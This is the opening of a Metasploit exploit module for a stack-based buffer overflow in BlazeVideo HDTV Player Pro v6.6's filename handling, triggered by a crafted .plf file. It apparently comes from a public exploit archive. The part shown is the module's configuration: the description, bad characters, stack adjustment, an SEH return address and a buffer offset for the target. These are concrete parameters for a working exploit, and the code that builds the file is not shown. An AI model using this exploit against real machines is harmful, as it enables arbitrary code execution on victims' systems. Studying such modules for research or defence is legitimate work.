Vulnerable Systems:
* BlazeVideo HDTV Player Pro v6.6
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
def initialize(info={})
super(update_info(info,
'Name' => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in BlazeVideo HDTV Player's filename handling routine. When supplying a string of input data embedded in a .plf file, the MediaPlayerCtrl.dll component will try to extract a filename by using PathFindFileNameA(), and then copies whatever the return value is on the stack by using an inline strcpy. As a result, if this input data is long enough, it can cause a stack-based buffer overflow, which may lead to arbitrary code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b33f', #Original
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '80896'],
['EDB', '18693'],
['EDB', '22931']
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'ExitFunction' => "seh"
},
'Platform' => 'win',
'Targets' =>
[
# MediaPlayerCtrl.dll P/P/R
# Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP0
['BlazeVideo HDTV Player Pro v6.6.0.3', {'Ret'=>0x64020327, 'Offset'=>868}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 03 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])
], self.class)
end